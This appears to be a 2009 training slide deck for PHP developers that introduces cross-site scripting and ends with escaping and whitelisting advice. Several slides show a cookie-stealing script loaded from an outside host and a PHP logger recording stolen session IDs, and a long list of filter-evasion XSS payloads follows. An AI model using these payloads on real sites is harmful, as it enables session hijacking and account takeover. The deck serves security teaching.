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XSS: An Introduction and Demonstration (2009)

Rob Howard
September 02, 2009

XSS: An Introduction and Demonstration (2009)

The first in a short series of presentations given at a PHP development shop.

Rob Howard

September 02, 2009
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  1. XSS
    An Introduction and
    Attack Demonstration

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  2. XSS: An Introduction

    “Cross-Site Scripting”

    Using client-side code to send sensitive
    information off to far-away places.

    eg. Javascript

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  3. XSS: An Introduction
    Bobby Tables

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  4. XSS: An Introduction
    <br/><script>Mallory</td><br/>Oh shit.<br/>

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  5. XSS: An Introduction

    That http://hax.gd/x.js script could be:
    alert('HA HA.');
    alert('Survive make your time.');

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  6. XSS: An Introduction

    That http://hax.gd/x.js script could be:
    document.write(document.cookie);

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  7. XSS: An Introduction

    That http://hax.gd/x.js script could be:
    document.write(
    'style="display:none;" />');
    style="display:none;" />Mallory

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  8. XSS: An Introduction

    Let's have a look at http://hax.gd/x.php:
    $fh=fopen('xss.log','a');
    fwrite($fh,$_SERVER['HTTP_REFERER'].
    var_export($_GET,1)); fclose($fh);
    http://example/cms/objects.php?
    _obj_name=example_data&_subnav=123
    array('award_visited=1;__csuid=blah;
    _PHPSESSID=t57tm1fvvdhonprigkdon7167
    7' => '',)

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  9. XSS: An Introduction

    So what?
    http://example/cms/objects.php?
    _obj_name=example_data&_subnav=123
    array('award_visited=1;__csuid=blah;
    _PHPSESSID=
    t57tm1fvvdhonprigkdon71677
    ' => '',)

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  10. XSS: An Introduction

    So what?
    http://example/cms/objects.php?
    _obj_name=example_data&_subnav=123
    array('award_visited=1;__csuid=blah;
    _PHPSESSID=
    t57tm1fvvdhonprigkdon71677
    ' => '',)

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  11. XSS: An Introduction

    Steal the cookie.

    Get the URL to the admin screen.

    Log in at will, exposing the very soft underbelly.

    Time for a demo.

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  12. Filtering and Escaping

    Sometimes are conflated, with side-effects
    being things like backslashes or entity tags
    found in stored data.

    This is all very well and good, but what happens
    if you want to put this into an email message or
    save out to a text document?

    “Strip out all tags!” can result in mangled
    content:

    eg. <3, <( ^o^)>, 1 < x < 5, “if foo <> bar then”

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  13. Filtering and Escaping

    Validation & Filtering: Checking for and getting
    rid of the nasties.

    Checking data is of the correct type, eg.
    email addresses, postcodes, message text.

    Stripping out control characters, fixing multibyte
    encoding shenanigans with iconv().

    Escaping: Packaging data up for transport.

    mysql_real_escape_string() for MySQL strings.

    htmlentities($x, ENT_QUOTES, 'UTF-8'); for HTML.

    urlencode() for query params.

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  14. Filtering and Escaping

    Why don't we just kill any tags we find?<br/><IMG SRC=javascript:alert('a')><br/><img src=javascript:alert(&quot;a&quot;)><br/><img “””><script>alert('a')”>
    ipt:aler
    t('XSS')>
    ipt:aler
    t('XSS')>



    alert('a')


    <alert("a");//<
    RIPT>alert('a');RIPT>

    <br/><img src=”javascript:alert('a')”<br/><IMG<br/>SRC<br/>=<br/>"<br/>j<br/>a<br/>v<br/>a<br/>s<br/>c<br/>r<br/>i<br/>p<br/>t<br/>:<br/>a<br/>l<br/>e<br/>r<br/>t<br/>(<br/>'<br/>a<br/>'<br/>)<br/>"<br/>><br/>

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  15. Filtering and Escaping

    Why don't we just kill any tags we find?<br/><iframe src=http://foo/x.html <<br/><body background=”javascript:alert('a')”><br/><BODY ONLOAD=alert('a')><br/><img dynsrc=”javascript:alert('a')”><br/><img lowsrc=”javascript:alert('a')”><br/><BGSOUND SRC=javascript:alert('a')><br/><BR SIZE=”&{alert('a')}”><br/><LAYER SRC=”http://foo/x.html”></LAYER><br/><link rel=”stylesheet” href=”javascript:alert('a');”><br/><XSS STYLE="behavior: url(xss.htc);"><br/><STYLE>BODY{-moz-binding:url("http://foo/x.xml#xss")}</STYLE><br/><IMG SRC='vbscript:msgbox(“a”)'><br/><img src=”livescript:alert('a')”><br/>žscriptualert(EXSSE)ž/scriptu (US-ASCII encoding evasion)<br/><META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert('a');”><br/><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,<br/>PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"><br/><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET><br/><TABLE BACKGROUND="javascript:alert('XSS')"><br/>

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  16. Filtering and Escaping

    Why don't we just kill any tags we find?<br/><DIV STYLE="background-image: url(javascript:alert('a'))"><br/><DIV STYLE="background-image:\0075\0072\006C\0028'\006a<br/>\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061<br/>\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"><br/><DIV STYLE="background-image: url(&#1;javascript:alert('a'))"><br/><DIV STYLE="width: expression(alert('a'));"><br/><STYLE>@im\port'\ja\vasc\ript:alert("a")';</STYLE><br/><IMG STYLE="xss:expr/*XSS*/ession(alert('a'))"><br/>exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("a"))'><br/><STYLE TYPE="text/javascript">alert('a');</STYLE><br/><STYLE>.x{background-image:url("javascript:alert('a')");}</STYLE><A CLASS=X></A><br/><BASE HREF="javascript:alert('a');//"><br/><OBJECT TYPE="text/x-scriptlet" DATA="http://foo/x.html"></OBJECT><br/><EMBED SRC="http://foo/xss.swf" AllowScriptAccess="always"></EMBED><br/><EMBED SRC="....jwvc3ZnPg=="<br/>type="image/svg+xml" AllowScriptAccess="always"></EMBED><br/><XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]><br/></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN><br/>

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  17. Filtering and Escaping

    Yeah, no.

    The transport is HTML; package it
    appropriately.

    Using htmlentities($xsslol, ENT_QUOTES, 'UTF-8')
    will completely neuter most of this stuff.

    Use it even on the things you “trust” like
    $_SERVER['PHP_SELF'], or REQUEST_URI.

    It gets hard when you need to put user data into
    src=”” and style=”” fields; suggest using a whitelist
    instead, no matter how much of a pain it is to
    implement. (Or in the case of images and other
    files, generating the filename for them.)

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